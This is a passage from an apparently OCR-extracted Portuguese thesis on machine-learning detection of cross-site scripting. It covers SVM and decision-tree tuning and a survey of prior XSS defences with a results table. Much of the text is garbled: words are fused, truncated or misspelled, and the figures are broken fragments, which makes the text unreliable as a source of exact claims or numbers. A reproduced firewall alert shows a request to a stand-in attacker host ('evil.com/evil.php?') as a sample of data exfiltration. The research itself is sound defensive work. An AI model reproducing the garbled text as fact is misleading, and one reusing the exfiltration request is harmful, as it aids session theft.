parametros, que implicitamente definem a estrudoraspaco de caracteristicas onde o hiperplano
de separacdo 6tima sera encontrado. A selecéo ll@mfiencdo dekernel e de seus parametros
depende de uma série de variaveis e requer agisestes de desempenho para cada problema em
particular. Os parametros importantes no ajust&etoel sdo o valor do grau do polinbmio para
kernel polinomial (Figura 2.21) e o valor de gama phkesnel RBF (Figura 2.22). E possivel
observar que o aumento do valor do grau do polia@mo valor de gama permitiu flexibilizar o

limite de decisao no hiperplano [Hur & Weston, 2008

polynomial degree 2 polynomial degree 5

linear kernel

1.0

0.5 g -

0.0

_1'—01.0 -0.5 0.0 05 10-10 -05 00 05 1.0-1.0 -0.5 0.0 0.-5 1.0
Figura 2.21. Ajuste do grau do polinémio [Hur & Wes  ton, 2008].

gaussian, gamma=10 gaussian,

gamma=100
1.0 ; .

0.5
0.0
-0.5

_l'pLO —S 0.0 0.5 1.0 -1.0 -0.5 0.0 0.5 1.0

Figura 2.22. Ajuste do grau do valor Gama [Hur & We  ston, 2008].

Outro parametro fundamental € o fator de reguleéi@gaC, constante que controla a

penalidade de erro, prevenindo quéliers afetem o hiperplano étimo. Esse parametro peraite
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definicdo do melhor compromisso entre a maior nrarde separacéo obtida e 0 menor niumero de
erros [Gunn, 1998], [Dong et. al., 2007], [Hur & $ten, 2008]. Para que o melhor valor de C seja
identificado, € necessério testar o desempenhoemarglizacdo de diferentes valores de C. Em
uma abordagem pratica, o valor de C é testadonsmsisamente em uma gama de valores
suficientemente grande para o problema investigeoimo por exemplo, valores entre8 1,
através de validac&o cruzada. Ao final do ajusesodlhido o valor com o melhor desempenho. A
Figura 2.23 demonstra a diferenca de resultadcguste do parametro C, onde se pode observar
gue ao aumentar o valor de C é possivel gerar perglano com margem maxima mais rigido e

menos tolerante a erros [Hur & Weston, 2008].

-1'-01.0 -0.5 0.0 0.5 1.0 -1.0 -0.5 00 05 1.0

Figura 2.23. Ajuste do Parametro C [Hur & Weston, 2 008].

A principal vantagem de SVM é a baixa probabilidadeerros de generalizacao [Vapnik,
1995]. Quanto a utilizacdo de SVM para deteccainttasdo, por exemplo, ha duas vantagens
principais. A primeira esta relacionada a rapidezatjoritmo em fase de uso, uma vez que o
desempenho em tempo real € de primordial impodapara esse tipo de aplicacdo. A segunda
razao € a escalabilidade, pois SVM é relativamersiensivel ao nimero de caracteristicas. Dessa
forma, a taxa de precisdo na classificacdo naondepdiretamente da dimensdo do espaco de
caracteristicas [Mukammala et al., 2002]. Entreta8M tem como desvantagem a demanda por
elevada complexidade computacional na fase deatresnto, fato que pode inviabilizar o uso de

SVM em problemas que necessitem de treinamamnline

2.3.4.3. Arvores de Decisdo

Arvore de decisdo é uma das principais técnicastendizagem de maquina, especialmente
guando problemas de classificacdo envolvem atigbatminais. Uma DT (do IngléSecision

Tree é composta por trés elementos basicos:

* NOo raiz: corresponde ao n6 de decisao inicial qurenalmente é gerado utilizando-se o

atributo mais discriminante entre as classes erdaswo problema;
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» Arestas: correspondem aos diferentes valores mssias caracteristicas;

* NOo folha: corresponde a um né de resposta, contarai@sse a qual pertence o objeto a

ser classificado.
Em arvores de decisdo, duas grandes fases deversssguradas:

» Construcdo da arvore: uma éarvore de decisdo éraoaestcom base no conjunto de
dados de treinamento, sendo dependente da congdexidos dados. Uma vez
construida, regras podem ser extraidas atravesliglessos caminhos providos pela

arvore para que sejam geradas informacdes sobraeegso de aprendizagem.

» Classificagcéo: para classificar uma nova instarasaatributos da amostra séo testados
pelo nd raiz e pelos nds subsequentes, caso sefssdeio. O resultado deste teste
permite que os valores dos atributos da instarmita dejam propagados do né raiz até
um dos nés folhas. Ou seja, até que uma classatsbjida a amostra.

Para melhor ilustrar o processo de classificacaaurda DT, a Figura 2.24 apresenta um
modelo reduzido utilizado no treinamento de dadasapa tarefa de classificacdo de XSS.
Inicialmente, uma base de dados supervisionaddmetida ao algoritmo, que por sua vez, gera
uma arvore construida para separar amostras dae ¢Bsnigna” de amostras da classe “Maligna”.
Apéds a construcdo da arvore, dados desconhecidiestpser submetidos ao classificador, o qual
atribuirqd uma das duas classes a amostra testada.

Entrada XSS Treinamento do
Classificador

Saida

O Algoritmo de
154 120 Maliciosa

|

classificacdo url_length >74 2 ||

_ aprende a partir |

& g E=lone de padrées nos —-=!

| Nzo

dados

157 129 Maliciosa

35 3 Benigna url_hexa > 10 ? Benigna

Conj de Dados Rotulad sim [ “nNao

|

Maliciosa || Benigna
|
|

Classificagdo

Figura 2.24. Treinamento dos dados em uma Arvore de Deciséo.

Vérios algoritmos foram desenvolvidos a fim deegssar a construcdo de arvores de
decisdo e seu uso para a tarefa de classificacd@3Ce C4.5, algoritmos desenvolvidos por
Quinlan [1993], sdo provavelmente os mais populafale também mencionar o algoritmo CART

de Breiman [Breiman et al., 1984]. A maioria dessgsritmos utiliza uma estratégia descendente,
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ou seja, desde a raiz até as folhas.

Uma das vantagens do uso de Arvores de Decisdmbragbes envolvendo problemas de
seguranca em redes de computadores € a de obtes eepartir das arvores. Essas regras explicam
claramente o processo de aprendizagem, podendisagss para uma compreensao mais completa
dos dados e dos atributos mais relevantes paraldepra de classificacdo. Entretanto, € dificil
obter resultados exatos quando ha ruidos, devislinameros detalhes dos dados definidos durante
0 treinamento. Alguns algoritmos, como por exemplo].48 [Weka, 2010], baseado no C4.5
permitem ajustar um parametro denominado Fatoraldi&ghca. A reducdo desse parametro pode
diminuir o tamanho da arvore e a quantidade deesfetisticamente irrelevantes que poderiam
levar a erros de classificagdo [Quinlan, 1993]eM@mbém ressaltar que esta técnica permite a
obtencao de resultados, que em geral, sdo supeapdnas por algoritmos de complexidade muito

superior.

Além do uso de DTs para extracao de regras quécarplo aprendizado do dados, métodos
unicamente baseados em inducéo de regras, comtmdo(& PPER Repeat Incremental Pruning
to Producer Error Reduction também podem ser aplicados em problemas de gdetede

anomalias, como em [Likarish et al., 2009].

Alguns dos métodos de classificacdo descritos nss¢@o foram utilizados com bons
resultados em trabalhos recentes de deteccao de Kabvare como por exemplo, em Choi et al.
[2011], Song et al. [2009], Likarish et al. [20089]Rieck et al. [2010], apresentados no préximo

capitulo.



Capitulo 3

Trabalhos Relacionados

Este Capitulo realiza uma breve andlise de algamlhos relacionados a deteccdo de XSS. Os
trabalhos sdo organizados didaticamente pelo gpandlise empregada na abordagem. Ao final do

capitulo é apresentado um quadro com a sumariziEsEmesmos e seus resultados.

As abordagens propostas para identificacdo e ifdtagfio de ataques XSS podem ser
categorizadas de acordo com o paradigma empregadoaiise [Ernst, 2003], [Vogt et al., 2007],
[Saha, 2009]. Na anélise estética, o codigo dorprog e todas as possibilidades de comportamento
sdo analisados antes da execucdo do mesmo [E0OSY. 2 analise dinamica atua na observacao
do comportamento pela execucdo do codigo do pragriste trabalho emprega a andlise estatica,
gue em termos gerais, possui a vantagem de apaesennenor tempo de execucgdo, quando

comparada a analise dinamica [Ernst, 2003].
3.1 Abordagens Baseadas em Analise Estatica

Wasserman & Su [2008] apresentam uma abordagenadsmsam analise estatica, que utiliza
técnicas de linguagem formal apoiadas em uma (CEGntextFree Grammaj) e no modelo de
Transdutores de Estado Finito (FSTFinite State Transducerpara realizar a analise da estrutura
sintatica. A técnica faz a analise stengspara avaliar a sintaxe dos dados de entrada engsaca

em relacdo a politica de dados ndo confiaveis casa bm técnicas de linguagem formal. Para isso,
a estratégia mantém uma lista negra contendo us®g dmscripts ndo confidveis que invocam o
interpretadodavaScript A Figura 3.1 demonstra o uso de uma CFG estenlidagera producoes

parasubstringmnéo confiaveis, representadas poa partir de dados néo terminais.

REQUESTmodule” —

datal — REQUESTmodule

data? — datal;

module — data?

output! — <br>

hiddenfields — <input wvalue='modula’/>
output? — </div> hiddenfields

output3 — outputl | outpui?

Figura 3.1. Producdes geradas pela CFG empregada em  Wasserman & Su [2008].
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Os autores usam o0 modelo FST para checarspbstringsndo confiaveis derivadas de
REQUESTmodule e sumarizadas pot (Figura 3.1). A Figura 3.2 ilustra um FST néo
deterministico, em que séo checados dados naceeidino contexto de valores de atributos com
guota simples, sumarizados pgros quais sao extraidos thgs HTML. A andlise verifica as
aplicacbesweb em relacdo a politica de dados nao confiaveiga(lieegra) que invocam o
interpretadodavaScript Além de alteragdes no cédigo fonte dos atuaiggedoresvebe do uso
ndo recomendavel de lista negra, esta abordagegunde Saha [2009], apresentou baixa

capacidade para resolver os principais problema&S&e

5 N NN SN TSN S
< I,- h I;.( ) |fq\|l & l;;-.\ 5
...................................................... = ' ol ’ AR
&J HA"\-.._\__\_ __)_,-""1- RH ] -&J
e— ) \H‘“a =
’ . J py| —
ERRGA SNTT

Figura 3.2. Uso de FST para checagem de strings ndo  confiaveis [Wasserman & Su, 2008].

Nadji et al. [2009propuseram uma solucao baseada em politica de negyaa, que aplica a
técnica de serializacdo minima, com a utilizacasufixos e prefixos (marcadores) pertencentes a
uma CFG, os quais sao gerados aleatoriamenteribuiidbs ao cliente de forma criptografada. No
lado cliente ocorre a reconstrucéo da estrutugdiestdo documento, a partir de tais marcadores, e
sua analise na arvore, a fim de garantir a intageddo documentweh A abordagem proposta foi
capaz de detectar 5.268 ataques de um total d8 &t8§ues XSS avaliados, correspondendo a uma
precisdo de 98,41%. A Figura 3.3 demonstra um ¢relshcodigo em que é aplicada a técnica de
serializacdo minima. Por exemplo, os marcadores36[” e “]]5367” (linha 3) garantem a

integridade do conteudo do i) que é reconstruido no clienteh

tatus’] Jsz7">

[#5]

<div id=" [5:3£{TSET [fFriendld-
<script>

if ([aps6 GETI'MainUser’] Jaa46) {

LN ks Lad s

Figura 3.3. Exemplo de emprego da técnica de serial izacdo minima com marcadores [Nadji et al.,
2009].

Uma abordagem similar foi proposta por Gundy & ICf#909]. Nesse trabalho, o contetudo da
paginaweb é dividido em nés, que séo representados poredads confiangca marcadas com um
prefixo namespaceXML, gerados aleatoriamente. O objetivo da aboeda@ permitir ao cliente
webdistinguir entre conteddo seguro e inseguro, gepata aplicacaweb.As classes de confianca

sao definidas pelo servidor, o qual oferece tamhbéma politica que especifica quais elementos,



36

atributos e valores sdo permitidos para cada cldsssonfianca. Em seguida, o navegaadeb
cliente verifica se 0o documento que estd sob and@sta em conformidade com a politica
estabelecida. A abordagem envolve recursos do dadador e do lado cliente. Para prevenir a
inclusdo de marcas de fechamento em ataques deosS8arcadores sdo gerados aleatoriamente
em cada entrega de documentos. Para exemplifi@nmego desses marcadores, a Figura 3.4
demonstra o uso de um prefixamespaceXML “r617” que realiza a marcagdo das classes de
confianga para garantir a integridade do documemetmna entrega ao navegadeebcliente.

Figura 3.4. Exemplo do emprego de marcadores usando prefixo namespace XML [Gundy & Chen,
2009].

Apesar de representarem uma grande contribuic®@ @adeteccdo de XSS, esses dois
trabalhos, dependem de estratégias complexas @rtdeafleréncia as politicas de mesma origem,
além de mudancas significativas no codigo fonte atagis navegadoreseh o que resulta em

abordagens nao praticas e ndo abrangentes pavalema.

Song et al. [2009] propuseram o uso de técnicagpdendizagem de méaquina e modelos de
cadeias de Markov com BFam, que é uma subsequéncia contigua tlskensem uma sequéncia
de tokens[Choi et al., 2011]. Nesse trabalho, modelos deréeliftes tamanhos sdo submetidos ao
algoritmo EM Expectation Maximizatignpara agrupar padroes que permitam a distincae ent
entradas decript legitimas na camadaeb e ataques SQLnjection Buffer Overflowse XSS. O
sistema implementado pelos autores, denomipéctogramaatua de forma similar a um sistema
de deteccdo de intrusdo, operando na camada dmgiudi conforme pode ser observado na

arquitetura ilustrada na Figura 3.5.
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Figura 3.5. Arquitetura do Spectograma [Song etal. , 2009].

Os autores empregaram nos experimentos uma bagndoril5.927 instancias benignas e
130 instancias correspondentes a ataques XSSsOitados alcancaram 99% de taxa de acuracia,
sendo usados 05 cadeias de Markov @raba A abordagem inclui uma etapa de normalizagéo,
antes de submeter ao classificador os exemploso@amento para obtencdo do agrupamento de
padrées do conjunto de dados fornecido. Entretantstratégia ndo considera o agrupamento de
caracteristicas que podem ser obtidas do conjunttados ofuscado, presente em grande parte dos
codigos maliciosos, que podem ser empregadas pealaorar a acuracia do classificador. A
importancia dessas caracteristicas foi demonstnadrabalho de Likarish et. al. [2009]. Outra
desvantagem observada nesse trabalho é o fatouttmesaterem empregado uma base de dados
muito desbalanceada, com poucas amostras do paadt&aoso e terem utilizado como métrica de
avaliacdo somente a acuracia, que ndo mede o erctaskificacdo por classe. Esses dois fatores
podem resultar em altas taxas de acuracia em giladinfluéncia das amostras da classe mais
representada (classe benigna) sobre o conjunto rnfelagsse maliciosa). Além disso, o trabalho
abrange uma grande variedade de ameacas, 0 qu@@adeyrande complexidade e prejudicar o
processo de aprendizagem da classe maliciosa.

Likarish et al. [2009] empregaram técnicas de ajizagem de maquina para a detec¢éo de
codigo JavaScriptmalicioso em paginaseb, usado em ataques XSS e distribuicaorddware
(virus,worm, trojan, etc.), com base na extracaotdiens(unigramsou bigramg que representam,
caracteristicas fortemente baseadas em ofuscac&odigo malicioso. Os autores empregaram
caracteristicas como tamanho dosptsem quantidade de caracteres, tamanho médio deaasm
em cada linha, quantidade de NNe(v Ling, quantidade destrings no script, quantidade de
palavras do alfabeto, percentualvdeitespaceno script, nUmero de métodos que invocareooipt,
guantidade de caracteres ptningsno script, tamanho médio de argumentossunipt, nimero de
comentarios ngcript, média de comentarios por linha, quantidade devpas chaves e simbolos da
linguagemJavaScript percentual de palavras soripts que ndo sdo comentadas, quantidade de

caracteret)nicode Octal e Hexadecimal.
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Os experimentos foram conduzidos com quatro métaoglassificacdo: SVMNaive
Bayes Arvore de Decisdo e RIPPER. Os autores empregarambase contendo cerca de 50.000
scriptspara a base benigna e §Zipts maliciosos para a composicao da base maliciosaloshba
partir da arquitetura ilustrada na Figura 3.6. Essaitetura utiliza @rawler Heritrix para coletar
paginasweb (2), a partir de URLs potencialmente maliciosas ¢fLie apos selecdo de arquivos
JavaScriptscandidatos (3) foram inspecionados manualmentepéd separacdo dos arquivos
benignos e maliciosos usados como exemplos deoteeisubmetidos ao classificador (5) para

obtencéo do resultado (6).

URLs Potencialmente Maliciosas

1

Yy

" Frontier

5 o
']:?‘ o Classificador Ll
Crawler Benigno
(Heritrix)
4 £
2 ’
s —— Inspecio Wi as
Arquives Candidatos fammsd Manual Malicioso

Figura 3.6. Arquitetura empregada no trabalho de Li  karish et al. [2009].

Os métodos foram avaliados segundo as métricas: (PB8itive Predictive Powgr
correspondente a razao entre o totakddépts maliciosos classificados corretamente e o total de
scripts maliciosos; e NPPNegative Predictive Powgrcorrespondente a razao entre sasipts
benignos classificados corretamente e o totalctipts Os melhores resultados foram obtidos com
0 método SVM, precisamente 0,920 de PPP e 0,99WPée Para Arvore de Deciséo, os resultados
alcancaram 0,891 de PPP e 0,997 de NPP. Como aspaoge Likarish et al. [2009] é baseada em
caracteristicas de ofuscacdo e esta relacionadeasas aspectos deste trabalho, como por
exemplo, o uso de SVM, Naive Bayes e Arvores dedaec esse trabalho é comparado ao nosso

método na Sec¢édo 5.3.

Por fim, Choi et al. [2011] utilizaram Nram para a extragdo de caracteristicas e SVM,
usandokernel linear, na classificacdo de codigo malicioso eagas XSS e SQlnjection Os
autores empregaram como critério de tokenizacamg patrair caracteristicas XSS, elementos
como:tagsJavaScriptno formato ¢ag>...<tag>, operadoresstrings numerais, objetos, funcdes,
métodos e propriedadekmvaScript palavras reservadas, simbolos e palavras ndovadss. A
Figura 3.7 ilustra a arquitetura empregada, em @yocesso de extracdo é baseado em dois
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critérios de geracdo dekens um conjunto ddokenscorrespondente a ataques SlQjection e

outro correspondente a ataques XSS, que séo sdlosab classificador.

O trabalho empregou uma base de treinamento compos225 instancias benignas e 283
instancias maliciosas, enquanto a base de testeofoposta por 117 instancias benignas e 189
instancias maliciosas. O classificador obteve usma tle 98,04% de precisdo e 98,5% de taxa de
deteccdo. Além de poucos exemplos de treino estesteautores ndo mencionam a taxa especifica
de classificacdo obtida para ataques XSS, impedod® se avalie se houve influéncia ou
sobreposicao das taxas de deteccdo obtidas pardnf&tion sobre as taxas de detecgédo de XSS.
Outro ponto a considerar nessa abordagem é queanonéplicado nédo realiza o tratamento de
codificacbes alternativas, comumente empregadasofestacdo de vetores XSS, o que pode

permitir a evasdo de muitas técnicas de deteccéo.

Data Set Input by Cracker
0 _nn-_ > | _ Dsm | Training
Bl e o)
l Tokenizing l

Tokenizer

| Token C | [ Token D
N-Gram Set - N-Gram Set

1 Learning l Classification L

Classifier

l

Classification Result

Figura 3.7. Arquitetura empregada em Choi et al. [2  011].
3.2 Abordagens Baseadas em Analise Dinamica

Kirda et al. [2006] propuseram uma solucdo baseataroxy, denominada Noxes, que atua como
um firewall pessoal para aplicacde®b analisando as requisicdes HTTP, permitindo asx@mse
com base na politica de seguranca definida por deeregras, lista negra e pela agdo do usuario. O
usuario pode criar regras para requisicoes de aggieh que pode ser feito de forma manual,
inserindo novas regras na lista; de forma intesattada vez que um pedido de conexao é realizado
ou de forma instantanea, pelo uso de um modo edpet@grado a ferramenta que gera um perfil

de navegacéo que produz regras automaticamente.
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Para mitigar o envio de informac¢@es para outrasidms, a abordagem incorpora a analise
de links externos contidos na pagina, que sao extraidas seguida instruidos em regras que
permitem ao usuario acompanhar a sua execucaaramenta analisa as requisicdes de paginas
em varias etapas, dentre as quais, verifica se Bnluntocal. Se o pedido ndo estiver no dominio
local, Noxes verifica se ha alguma regra temporduigpermanente para a conexao, que executa o
bloqueio ou submete a decisdo ao usuario. Um griawdaveniente dessa abordagem, segundo os
proprios autores, corresponde a geracdo de umeramdero de alertas, exigindo a intervencéo do
usuario. Outro ponto a ser considerado € que anfemta proposta regula a atividade que ocorre ao
longo da rede, mas néo aborda o comportamento dacabdigoJavaScript A Figura 3.8 ilustra
uma tela de alerta de Noxes, que submete ao usudecisdo em relagdo a uma conexao insegura

com um dominio externo.

Qoak - © - [x [B @ Osearch 57 Favorites €3 | (v i - " Links & Goagle &Inets

&

Address €] http:f/128.131.172.126/~enjifphpnuke 72 fhtml/maodules php?name = Reviews&rop= postoomimentBid="git]|

|Nuxes Web Firewall

Time: 2508 2005 16:36:47
Remole Server  waiw.evil com
Part 80

Request [hitn: . evil comfevil php?
e Pl il

Fearmit Dany

I Cresteappopriste filter rule and don't ask me again

Figura 3.8. Tela de alerta do Noxes [Kirda et al., 2006].

Segundo a avaliacdo de Saha [2009], essa abordagessentou boa capacidade para
resolver problemas de XSS. Contudo, a ferramentasaeptou um numero elevado de falsos
positivos, 0 que representa um problema em senttatde uma ferramenta de detecgdo. Além

disso, a ferramenta proposta nao € de uso gendtiadia & plataforma proprietaria Windows.

No trabalho de Jim et al. [2007] os autores aptasam uma abordagem que especifica uma
politica de seguranca para cada pagina, permitndeéo a execucao de codgript A técnica é
baseada na implementacdo de uma funcédo chaBemlaity Hooke em duas politicas baseadas em
lista branca e lista negra, denominada DSkhdboxing O navegadoweb é modificado com a
adicdo da referida funcdo, que analisa cet#pt e sO permite a sua execucao se a considerar

legitima.
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A funcado tem como argumentos de entrada o texsxdpt analisado, o elemento DOM em
que oscript esta inserido e o evento para o quatopt devera ser instalado como uma funcdo que
invoca o interpretadodavaScript A politica de lista branca é implementada por wetor
associativo indexado pdrashesSHA-1 dosscripts conhecidos, que sao comparados durante a
analise doscript. A politica de lista negra especifica £ipts que serdo rejeitados. A Figura 3.9

ilustra um trecho de codigo que implementa a palitie lista branca.

if (window.JS3Security) {
JSSecurity.afterParseHook =
function(code, elt) {
if (whitelist[SHA1(code)]) return true;
else return false;
whitelist = mew Object();
whitelist ["478zB3KkS+UnP2xz8x62uglxvd4="] = 1;
whitelist["ADOq/aTVjITEWQIsCVeKfdgdGde="] = 1;
. etC. ...

}

Figura 3.9. Trecho de cédigo que implementa a polit  ica de lista branca [Jim et al., 2007].

A solucdo também implementa a marcacdo dos elesgratencialmente suscetiveis a
injecdo de codigo malicioso com o termmexecuté vinculados a produgédo de um né parente na
arvore DOM, para evitar ataques de divisdo de ndig&va 3.10 ilustra o uso do marcador

“noexecuté

<div class="noexecute" id="nb"></div>
<script>»
document .getElementById("n5") . innerHTML =
"quoted possibly-malicious contenti"

</script>

Figura 3.10. Trecho de cédigo que implementa o marc  ador “ noexecute” [Jim et al., 2007].

Apesar dos resultados considerados satisfatorssgsetécnicas dependem de uma forte
aderéncia a politica de mesma origem, com a neleefesde adoc¢ao de técnicas sincronizadas entre
servidores e clientes. Além do uso ndo recomenddeelistas negras, a abordagem exige a
necessidade de modificacdo do codigo fonte dosgaaleeswel fato que limita o uso dessa

abordagem em aplicacdes praticas.
3.3 Abordagens que Combinam Analise Estética e Dindéica

Vogt et al. [2007] propuseram um sistema baseadonaaacdo de informagfes sensiveis no
ambiente do usuario final. A abordagem combina &@isa dinamica com a analise estatica para
prevenir ataques XSS. O mecanismo marca os dads&eis sobre o lado cliente para garantir que
o codigoJavaScriptenvie informacdes sensiveis somente paite@m que ele foi originado. Essas
informagdes sdo monitoradas durante a sua exe@etédnterpretadodavaScriptdo navegador
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Firefox, modificado em sua semantica de instru¢cbes paeaaguinformacdes marcadas sejam
corretamente propagadas. O sistema detecta agvasitde transmisséo de informacdes para uma
terceira parte e submete a decisdo ao usuario @iorde alertas. A estratégia adotada, assim como

outras propostas, depende da modificacao do cdoinge do navegador.

Rieck et al. [2010] apresentaram um sistema baseadweb proxy, denominado CUJO
(Classification of Unknown JavaScript Codeara classificagdo ddrive-by-downloadnseridos
em linguagemJavaScript empregando para isso, técnicas de aprendizagemadeina. Esta
abordagem extrai caracteristicas estaticas e dadndie padroes maliciosos. A Figura 3.11 ilustra a

arquitetura empregada por Rieck et al. [2010].

A andlise estatica apoOia-se em técnicas de lirguaigprmal e nos principios basicos da
arquitetura de compiladores. O processo de extrdgéalizado com base em um utilitario gerador
de andlise: Yacdsrammar (http://www.quut.com/c/ANSI-C-grammar-y.htm). A &ise |éxica
segue a especificacdo da linguagdavaScript em que o codigo origem € sequencialmente
decomposto enkeywords pontuacdes, identificadores e literais numeérieastrings que séo
representados por identificadores prépriogakensde uso geral (ID) ou individual. Por exemplo,
para representastrings a abordagem empregataken“STR”. A andlise dinamica emprega uma
ferramenta do tipssandbox ADSandbox [Dewald et al., 2010], que monitoraadteracdes do
coédigo em execucgdo, associado a pagina e ao ietadorJavaScript Os resultados das duas
analises sdo representados por um conjunto gergs que sdo mapeados para um vetor de

caracteristicas que é submetido ao classificad®t.SV

Servicos Web Cliente Weh

C Encaminhar
arregador = -
/Bloguear %

JavaScript | | Extracdo de .
Sandbox || Caract. [| Detecedo

Anilise Dindmica

JavaScript Extracdo de

Lexer || Caract. [ Deteccio ] Componentes de Andlise
[ Capacidade de Armazenamento em Cache
Anilise Estatica @ Modelo de Deteccio

Figura 3.11. Arquitetura do CUJO [Rieck et al., 201  O].

O sistema realizou uma avaliacdo empirica com BOOp@ginasvebe 600 ataques do tipo
drive-by downloagara demonstrar a eficacia da abordagem. O traheibu o classificador SVM,
gue alcancou a taxa de 90,2% de verdadeiro positwwo resultado da analise estatica e 86% de

verdadeiro positivo como resultado da analise dic&mA combinagdo das duas andlises resultou
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em uma taxa final de verdadeiro positivo de 94.Mésse caso, a taxa de verdadeiro positivo
equivale a razdo entre o total dmlwaresclassificados corretamente e o totalrdalwares A
proposta possui foco especializado em ataques dizseandrive exploitspor meio da linguagem

JavaScript A Tabela 3.1 sumariza todas as solu¢des discutidsta secao.
3.4 Discusséo

Saha [2009] avaliou 10 importantes trabalhos primgosa literatura para detectar XSS, em
gue 07 metodologias propostas apresentaram bapaxidade para resolver ou detectar ataques
XSS, dentre os quais, o trabalho de Wasserman [2(R8].

O mesmo estudo avaliou 08 metodologias sob o asplectfalso positivo, sendo que 06
metodologias apresentaram taxas elevadas de falsoea dentre os quais o trabalho de Kirda et al.
[2006]. Além disso, muitas propostas apresentaritag@ies praticas, por dependerem de aderéncia
as politicas de mesma origem entre clientes eds®es ou de alteracdes significativas no codigo
fonte dos atuais navegadoreshy como por exemplo, os trabalhos de Nadji et 809 e Jim et al.
[2007].

Muitos métodos desconsideram as caracteristicasfulEacdo, como por exemplo, no
trabalho de Choi et al. [2011], em que é realizapgenas a extracdo tiekensem ASCII, o que
permite ao invasor evadir muitas técnicas de dateag empregar a ofuscacéo de codigo. Song et
al. [2009] incluem uma etapa de normalizacdo phtangdo dosokens porém, ndo submetem ao
classificador o cédigo ofuscado para obtencdo dedpa que podem ser extraidas desse conjunto.
Likarish et al. [2009] demonstram em seu trabalhelavancia das caracteristicas baseadas em
ofuscacgdo, contudo, de forma oposta aos outroslfiedy esses autores desconsideram muitas
caracteristicas que podem ser obtidas pela decackido e que podem revelar esquemas

potencialmente inseguros empregados em atagues XSS.

Outro ponto a ser considerado é a variabilidadandeacas. O OWASP [2010] categoriza
varias ameacas em virtude do risco, tais como, X8B3, Injection, Buffer Overflow, LDAP
Injection, Drive-by-download entre outras, o que revela que abordagens geegissam lidar com

um alto grau de complexidade.

Em comparagdo com os trabalhos que empregam téamécaprendizagem de maquina, o
principal diferencial deste trabalho estd no métquoposto que permite a extracdo de
caracteristicas relevantes da URL e documemobaseadas na ofuscacdo de cédigo, comumente

desconsiderado por outros métodos, e de caraasisibtidas apds a sua decodificacdo. Além
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disso, este trabalho explorou todas as amostratadees disponiveis em (http://www.xssed.com),
gue é a maior base publica representativa de &afb® que se tem conhecimento, fornecendo ao
classificador mais de 16.000 exemplos de treina paslasse maliciosa (XSS), para que resultados

mais abrangentes e realistas sejam obtidos.

Em contrapartida, os trabalhos de Rieck et al. §p00ikarish et al. [2009], Song et al.
[2009] e Choi et. al. [2011], que empregam técnamaprendizagem de maquina e as abordagens
empregadas em Nadiji et. al. [2009], Gundy & Chet0Df2 e Jim et al., [2007] possuem bases

maliciosas muito pequenas, conforme € demonstrad@ahbela 3.1.



Tabela 3.1. Sumarizacédo das solu¢bes para deteccéo
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de ataques XSS.

Abordagens que Usam Técnicas de Aprendizagem de Mdiga

Publicacao

Técnicas Usadas

Base

Resultado/Métric

[Choi et al., 2011]

SVM, N-gram.

Benigna: 225 instancias
Maliciosa: 283 instancias

98,04 % (precisdo)

[Song et al., 2009]

EM (Expectation
Maximizatior), Modelo de
Markov, N-gram.

Benigna: 15.927 instancias
Maliciosa: 130 instancias

99,0% (precisdo)

[Likarish et al., 2009]

SVM, N-gram

Benigna: 50.000 instancias
Maliciosa: 62 instancias

92,0% (deteccdo)

[Rieck et al., 2008]

SVM, CFG, Q-gram

Benigna: 200.000 instancia
Maliciosa: 600 instancias

S

94,4% (deteccéo)

Demais Abordagens

[Nadiji et al., 2009]

Primitivas de marcacédo
(Serializagdo minima),
CFG,, instrumentacéo de
cédigo.

5.353 ataques XSS

98,41% (precis:

10)

[Gundy & Chen, 2009]

Primitivas de marcacéo
(recursos XML),
instrumentacéo de codigo

6 tipos ataques XSS por:
tags HTML, divisdo de no,
etc.

*%k

[Wasserman & Su, 2008]

CFG, FST, lista negra,

instrumentacéo de cédigol

Projeto Claroline 1.5.3
(1.144 arquivos)

Deteccéo:
Direta: (GPC) *:
VP: 32
FP: 43
Indireta: (GPC)*:
VP: 38
FP: 25

[Jim et al., 2007]

Instrumentacéo de codigg
lista negra, lista branca.

61 vetores XSS

Konkeror: 17 (**)
Saféari: 09 (**)
Opera: 33 (**)
QOutros: 02 (**)

[Kirda et al., 2006]

Webproxy: Instrumentacagd
de codigo, politica d¢
regras.

8.000,00inks

5,7% (alertas)

[Vogt et al., 2007]

Instrumentacéo de codig

1,033,000 paginas
visitadas

8,58% (alertas)

* Métrica aplicada sobre o nimero de vulnerabiletadetectadas na aplicagao.
** Segundo os autores foi possivel detectar todoataques.
Legenda: GPC: Get, Post, Cookie; VP: Verdadeiratipos FP: Falso Positivo

O estudo bibliografico demonstra que muitas metmglab ja foram empregadas para
mitigar o problema de XSS. Entretanto, essa amaack persiste no topo da lista dos principais
relatérios de segurangaeh Com o objetivo de apresentar uma nova alternaiwebusca de
solugdes para o problema, este trabalho apresemtenétodo e um conjunto de caracteristicas
empregadas na deteccao de XSS, que sao apresestadatalhes no Capitulo 4.



Capitulo 4

Deteccao de Cross-Site Scripting em

PaginasWeb

Este Capitulo detalha o método proposto para &gleautomatica de XSS em paginey bem
como descreve as caracteristicas envolvidas neaoralgdo da proposta e as alternativas de

implementagé&o existentes.
4.1 Método Proposto

O método proposto tem por objetivo realizar a dgétecde XSS em péginageh a partir de um
conjunto de caracteristicas relevantes, capazdsdaéminar padrdes de ataques XSS, extraidas por
meio da andlise estatica do conteudo da URL e domdento que compde a pagiwah tendo em

vista a exploracdo de ataques nesses dois escopdsrme foi demonstrado na Sec¢éo 2.2.

Para isso, 0 método emprega técnicas de aprendizdgenaquina introduzidas no Capitulo
2 e é estruturado em etapas que viabilizam a éxrde caracteristicas em duas faégstimeira
fase realiza a extragcdo de caracteristicas basesda®digo ofuscado e a segunda extrai as
caracteristicas do conjunto de dados apos a swalileacdo, de forma a obter dois conjuntos de
caracteristicas relevantes na predicdo e deteca®tdres de ataques XSS em pagimag em
virtude das técnicas de ofuscacdo de cédigo maticd@ultarem caracteristicas importantes para o

aumento da acuracia do classificador.

Como pode ser observado na Figura 4.1, o métodmgto esta estruturado nas seguintes
etapas: coleta da base de dados, extracado deertstacas de codigo ofuscado, decodificacdo da
paginaweh extracdo de caracteristicas de codigo decoddieadlassificacdo de paginash

Essas etapas séo descritas em detalhes, a seguir.
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4.1.1 Coleta da Base de Dados

Os algoritmos de classificagéo precisam de um obmjde dados de exemplos rotulados composto
por instancias positivas (maliciosas), com pagintectadas com vetor XSS e instancias negativas
(benignas), com paginas normais (ndo contamina#at). etapa foca na construcdo dessa base, a

gual é obtida pocrawlers

No caso geral, a base de dados é dividida em ugosjumto para descoberta de padrdes e
outra, denominada base de teste, usada para validamhecimento adquirido na base de treino.
